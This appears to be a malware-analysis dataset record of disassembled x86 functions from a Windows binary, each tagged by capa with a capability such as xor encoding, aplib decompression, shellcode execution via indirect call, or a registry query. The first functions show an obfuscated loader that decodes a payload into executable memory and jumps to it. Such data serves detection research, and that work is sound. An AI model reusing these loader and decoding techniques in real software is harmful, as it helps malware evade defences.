joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40f3ca
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
pushal
call 0x40f3d9
pop dword [ebp - 0x18]
mov eax, 0x20d3abae
sub eax, 0x2092b7d5
sub dword [ebp - 0x18], eax
push 0x40
push 0x1000
push 0x3d1dd
push 0
mov eax, 0x674e6749
sub eax, 0x670c1531
add eax, dword [ebp - 0x18]
call dword [eax]
mov ecx, 0xacd7f7f8
add ecx, 0x53284d18
xor edx, edx
add edx, eax
mov ebx, 0xe98aff1
sub ebx, 0xe555bf1
add ebx, dword [ebp - 0x18]
mov edi, 0xe1561aea
add edi, 0x26e3aec9
add dword [ebp - 8], 0xef1b7b98
mov esi, dword [ebx]
xor dword [ebp - 0xc], 0x5b43bae1
add esi, edi
xor dword [ebp - 0xc], ecx
mov dword [edx], esi
sub dword [ebp - 8], eax
add edx, 4
add ebx, 0x4a3bc909
sub ebx, 0x4a3bc905
loop 0x40f43a
add eax, 0x4c96ce44
add eax, 0xb36a38cf
xor ebx, ebx
add ebx, eax
add eax, 0x7988f48
sub eax, 0x7988f43
mov ecx, 0xe9fbcc45
sub ecx, 0xe9bbcc45
add ecx, dword [ebp - 0x18]
call ebx
leave
ret
Function at 0x40f185
Capabilities:
Decompress data using aplib

Disassembly:
push ebp
mov ebp, esp
mov esi, dword [ebp + 8]
mov edi, dword [ebp + 0xc]
cld
mov dl, 0x80
movsb byte es:[edi], byte [esi]
call fcn.0040f204
jae 0x40f191
xor ecx, ecx
call fcn.0040f204
jae 0x40f1bb
xor eax, eax
call fcn.0040f204
jae 0x40f1cc
mov al, 0x10
call fcn.0040f204
adc al, al
jae 0x40f1ad
jne 0x40f1f9
stosb byte es:[edi], al
jmp 0x40f192
call fcn.0040f210
dec ecx
loop 0x40f1d8
mov eax, ebp
call fcn.0040f20e
jmp 0x40f1fa
lodsb al, byte [esi]
shr eax, 1
je 0x40f220
adc ecx, 2
mov ebp, eax
jmp 0x40f1fa
xchg ecx, eax
dec eax
shl eax, 8
lodsb al, byte [esi]
mov ebp, eax
call fcn.0040f20e
cmp eax, 0x7d00
jae 0x40f1f8
cmp eax, 0x500
jae 0x40f1f9
cmp eax, 0x7f
ja 0x40f1fa
inc ecx
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x40f192
pop ebp
ret 8

Function at 0x40100b
Capabilities:
Execute shellcode via indirect call
Query or enumerate registry value

Disassembly:
call 0x40100b
push eax
call sub.KERNEL32.dll_ExitProcess
push ebp
mov ebp, esp
add esp, 0xfffffef0
jmp 0x4010ad
lea eax, [ebp - 0x10c]
push eax
push 0x20019
push 0
push 0x40102e
push 0x80000001
call sub.ADVAPI32.dll_RegOpenKeyExA
cmp eax, 0
jne 0x4011b8
mov dword [ebp - 0x110], 0x103
lea eax, [ebp - 0x110]
push eax
lea eax, [ebp - 0x104]
push eax
push 0
push 0
push 0x401048
push dword [ebp - 0x10c]
call sub.ADVAPI32.dll_RegQueryValueExA
push eax
push dword [ebp - 0x10c]
call sub.ADVAPI32.dll_RegCloseKey
pop eax
cmp eax, 0
jne 0x4011b8
lea eax, [ebp - 0x104]
push eax
call sub.KERNEL32.dll_lstrlenA
lea ebx, [ebp - 0x104]
add ebx, eax
dec ebx
cmp byte [ebx], 0x5c
je 0x401134
mov word [ebx], 0x5c
push 0x401019
lea eax, [ebp - 0x104]
push eax
call sub.KERNEL32.dll_lstrcatA
push eax
call sub.KERNEL32.dll_LoadLibraryA
test eax, eax
je 0x4011b8
mov dword [ebp - 0x108], eax
push 0x401023
push eax
call sub.KERNEL32.dll_GetProcAddress
test eax, eax
je 0x4011ad
push 0x3e8
call eax
test eax, eax
je 0x4011ad
push eax
push 0x40
push 0x3000
push 0x10000
push 0
call sub.KERNEL32.dll_VirtualAlloc
test eax, eax
je 0x40119a
push dword [ebp - 0x108]
call sub.KERNEL32.dll_FreeLibrary
lea eax, [0x4010a7]
jmp 0x4011be
push dword [ebp - 0x108]
call sub.KERNEL32.dll_FreeLibrary
lea eax, [0x40108c]
jmp 0x4011be
push dword [ebp - 0x108]
call sub.KERNEL32.dll_FreeLibrary
lea eax, [0x40104d]
push 0x10
push 0x4010a7
push eax
push 0
call sub.USER32.dll_MessageBoxA
mov eax, 0xffffffff
leave
ret

Function at 0x401219
Capabilities:
Terminate process

Disassembly:
mov eax, dword fs:[0]
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40501c
push 0x40109a
push eax
mov dword fs:[0], esp
sub esp, 0x10
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
push eax
fnstcw word [esp]
or word [esp], 0x300
fldcw word [esp]
add esp, 4
push 0
push 0
push 0x405028
push 0x405024
push 0x405020
call sub.CRTDLL.DLL___GetMainArgs
push dword [0x405028]
push dword [0x405024]
push dword [0x405020]
mov dword [0x405014], esp
call fcn.004014fb
add esp, 0x18
xor ecx, ecx
mov dword [ebp - 4], ecx
push eax
call sub.CRTDLL.DLL_exit
leave
ret